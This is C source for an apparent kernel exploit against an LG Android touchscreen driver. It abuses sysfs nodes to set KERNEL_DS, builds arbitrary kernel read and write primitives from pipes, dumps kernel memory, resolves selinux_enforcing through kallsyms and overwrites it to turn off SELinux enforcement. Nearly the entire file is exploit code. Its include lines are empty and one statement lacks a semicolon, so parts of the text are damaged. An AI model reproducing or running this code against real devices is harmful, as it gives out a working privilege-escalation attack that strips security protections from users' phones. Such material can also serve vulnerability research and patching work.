#include #include #include #include #include #include #include #include #include #include "kallsyms_in_memory.h" static void hexdump(char* buf, size_t buf_len) { size_t i, j, line_base = 0; for (i = 0; i < buf_len; ++i) { if (i % 16 == 0) { if (i != line_base) { fprintf(stderr, "\n"); line_base = i; } fprintf(stderr, "%04zx: ", i); } fprintf(stderr, "%02x ", ((int)buf[i] & 0xff)); } fprintf(stderr, "\n"); } static bool readn(int fd, char* buf, size_t buf_len) { char* ptr = buf; ssize_t result = 0; while (ptr < buf + buf_len) { result = read(fd, ptr, buf_len - (size_t)(ptr - buf)); if (result < 0) { return false; } else { ptr += result; } } return true; } static bool writen(int fd, char* buf, size_t buf_len) { char* ptr = buf; ssize_t result = 0; while (ptr < buf + buf_len) { result = write(fd, ptr, buf_len - (size_t)(ptr - buf)); if (result < 0) { return false; } else { ptr += result; } } return true; } static bool kreadall(char* address, char** out, size_t* out_len) { int pipe_fd[2]; char* kptr = address; size_t read_len = 0; if (pipe(pipe_fd) < 0) { return false; } while (1) { if (*out_len < read_len + 0x1000) { *out_len += 0x10000; *out = realloc(*out, *out_len); } if (!writen(pipe_fd[1], kptr, 0x1000)) { break; } readn(pipe_fd[0], &(*out)[read_len], 0x1000); read_len += 0x1000; kptr += 0x1000; } close(pipe_fd[0]); close(pipe_fd[1]); return true; } static bool kreadn(char* address, void* buf, size_t buf_len) { int pipe_fd[2]; if (pipe(pipe_fd) < 0) { return false; } if (!writen(pipe_fd[1], address, buf_len)) { return false; } readn(pipe_fd[0], buf, buf_len); close(pipe_fd[0]); close(pipe_fd[1]); return true; } static bool kwriten(char* address, void* buf, size_t buf_len) { int pipe_fd[2]; if (pipe(pipe_fd) < 0) { return false; } writen(pipe_fd[1], buf, buf_len); if (!readn(pipe_fd[0], address, buf_len)) { return false; } close(pipe_fd[0]); close(pipe_fd[1]); return true; } static bool write_mfts() { bool result = true; int fd = 0; fd = open("/sys/devices/virtual/input/lge_touch/mfts", O_WRONLY); if (fd >= 0) { if (!writen(fd, "5", 2)) { fprintf(stderr, "[!] write failed!"); result = false; } close(fd); } else { fprintf(stderr, "[!] open failed!"); result = false; } return result; } static bool read_sd () { bool result = true; int fd = 0; char buf[0x1000]; fd = open("/sys/devices/virtual/input/lge_touch/sd", O_RDONLY); if (fd >= 0) { if (0 > read(fd, buf, sizeof(buf))) { fprintf(stderr, "[!] read failed!"); result = false; } close(fd); } else { fprintf(stderr, "[!] open failed!"); result = false; } return result; } static bool set_kernel_ds() { if (!write_mfts()) { return false; } else if (!read_sd()) { return false; } return true; } int main(int argc, char** argv) { fprintf(stderr, "-- LG touchscreen_synaptics.c write_file kernel exploit --\n"); fprintf(stderr, "[0] setting KERNEL_DS\n"); if (set_kernel_ds()) { kallsyms* kernel_symbols = NULL; char* kernel = NULL; size_t kernel_len = 0; char* selinux_enforcing = NULL; int value = 0; fprintf(stderr, "[0] reading kernel\n"); kreadall((char*)0xffffffc000080000ull, &kernel, &kernel_len); hexdump(kernel, 0x100); fprintf(stderr, "[0] parsing kallsyms\n"); kernel_symbols = kallsyms_in_memory_init((unsigned long*)kernel, kernel_len); selinux_enforcing = (char*)kallsyms_in_memory_lookup_name(kernel_symbols, "selinux_enforcing") fprintf(stderr, "[0] address of selinux_enforcing %p\n", selinux_enforcing); kreadn(selinux_enforcing, &value, sizeof(value)); fprintf(stderr, "[0] selinux_enforcing = %i\n", value); value = 0; kwriten(selinux_enforcing, &value, sizeof(value)); } return 0; }